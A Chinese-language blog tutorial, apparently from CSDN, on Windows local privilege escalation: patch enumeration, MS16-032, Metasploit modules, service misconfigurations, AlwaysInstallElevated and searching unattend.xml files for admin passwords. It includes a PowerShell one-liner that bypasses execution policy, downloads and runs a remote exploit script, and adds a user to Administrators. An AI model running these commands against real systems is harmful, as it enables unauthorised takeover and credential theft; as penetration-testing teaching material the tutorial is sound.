windows c++ 服务 当前用户提权_关于Windows下的提权方式(上)

Windows的四种权限:

  • User:普通用户权限,是系统中最安全的权限

  • Administrator:管理员权限

  • System:系统权限

  • TrustedInstaller:Windows中的最高权限。对于系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才能修改系统文件

提权类别:

  • 纵向提权:低权限角色获得高权限角色的权限

  • 横向提权:获取同级别角色的权限

可能会用到的Windows命令:

net user  #列出该计算机上的用户net user   #列出指定用户所在用户组systeminfo  #获取系统信息wmic qfe get Caption,Description,HotFixID,InstalledOn  #列出以安装的补丁query user  #列出在线用户REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口tasklist /svc | find "TermService" + netstat -ano    #获取远程端口

提权方式

1、手动发现缺失的补丁

systeminfo 或wmic qfe get Caption,Description,HotFixID,InstalledOn

2229513fb76a267a41f434d7a478099a.png

寻找能够提权的EXP,将已安装的补丁编号与提权的EXP进行比较,然后使用没有安装的补丁的EXP进行提权,这里使用的是MS16-032 ——[KB3143141]

在cmd命令行中输入如下命令:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators test /add'"

当前用户为test属于Users组:

11ea7b75d798a9d55435b303cf5d56f3.png

执行命令后将test用户添加到了Administrators组中:

52cbe1f4a492aa904dfba4a40e06db91.png

2、利用Metasploit发现缺失补丁

使用Metasploit的post/windows/gather/enum_patches模块,根据系统编号快速找出系统中缺失的补丁,如图所示:

ea3dd72608111d8e0e523802f8e373ca.png

3、使用Windows Exploit Suggester工具

下载地址:

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可识别导致提权的漏洞,需要目标系统信息,使用systeminfo获取:

systeminfo > patches.txt

执行如下命令,从微软官方自动下载安全公告数据库:

./windows-exploit-suggester.py --update

下载的文件会在当前目录下以Excel表格的形式保存,需要安装xlrd模块来读取excel表格

pip install xlrd --upgrade

检查系统中是否存在未修补的漏洞:

./windows-exploit-suggester.py -d 2020-06-26-mssb.xls -i patches.txt

770a594a19370f9ee7d4159e38a5dbc8.png

4、利用系统给服务权限配置错误

可参考:https://422926799.github.io/posts/34b370c6.html

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限

系统服务权限配置错误有如下两种情况:

  • 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务

  • 服务正在运行且无法终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权

使用metasploit的exploit/windows/local/service_permissions 模块

4993bdde7b4fe09d7b031910f641fbb8.png

5、注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以System权限运行安装。如果启用了此策略设置项,那么任何权限的用户都能以 

NT AUTHORITY/SYSTEM 权限来安装恶意的MSI文件

该漏洞产生的原因是用户开启了Windows Installer特权安装功能

在cmd命令行中输入 "gpedit.msc"  打开组策略编辑器

  • 组策略—>计算机配置—>管理模块—>Windows组件—>Windows Installer—>永远以高特权进行安装:选择启用

  • 组策略—>用户配置—>管理模块—>Windows组件—>Windows Installer—>永远以高特权进行安装:选择启用

7e4db7bd76b3443d81a5c9f0cb8bdad6.png

设置完毕会在注册表以下两个位置自动创建键值"1":

  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Windows Installer 通过Msiexec.exe安装MSI文件包含的程序。Msiexec.exe 用于安装MSI文件,双击MSI文件就会运行Msiexec.exe

使用 Metasploit 的 exploit/windows/local/always_install_elevated 模块

b874936d724aae7cc3264287b0426b57.png

b0f7f7720f2df7f0c97a704ec26b060c.png

30a4dddec26c5415145da934134c5125.png

6、自动安装配置文件

网络管理员在内网中给多台机器配置同一环境时,通常不会逐台配置,而会使用脚本批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含了所有的安装配置信息,可能还包含本地管理员账号密码等信息,如下:

C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\system32\sysprep.infC:\Windows\system32\Sysprep\sysprep.xmlC:\unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\system32\Sysprep\unattend.xmlC:\Windows\system32\Sysprep\Panther\unattend.xml

可执行如下命令搜索 unattend.xml 文件:

dir /b /s c:\unattend.xml

查看这样的文件是否存在管理员明文密码或经过Base64加密的密码

7、补充

使用如下命令查看计划任务:

schtasks /query /fo LIST /v

使用微软提供的工具AccessChk可列出权限配置有缺陷的文件在SysInterals套件中

下载地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk

执行如下命令,查看指定目录权限配置情况

accesschk.exe -dqv "C:\Windows" -accepteula

7ff5220ed9952d463ff881fa42d166f2.png

列出某驱动器下所有权限配置有缺陷的文件夹:

accesschk.exe -uwdqsv Users c:\*accesschk.exe -uwdqs "Authenticated Users" c:\*

列出某驱动器下所有权限配置有缺陷的文件:

accesschk.exe -uwdqsv Users c:\*.*accesschk.exe -uwdqs "Authenticated Users" c:\*.*
06b3206e3f28a5de5e6a2918ce5c6f64.png
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值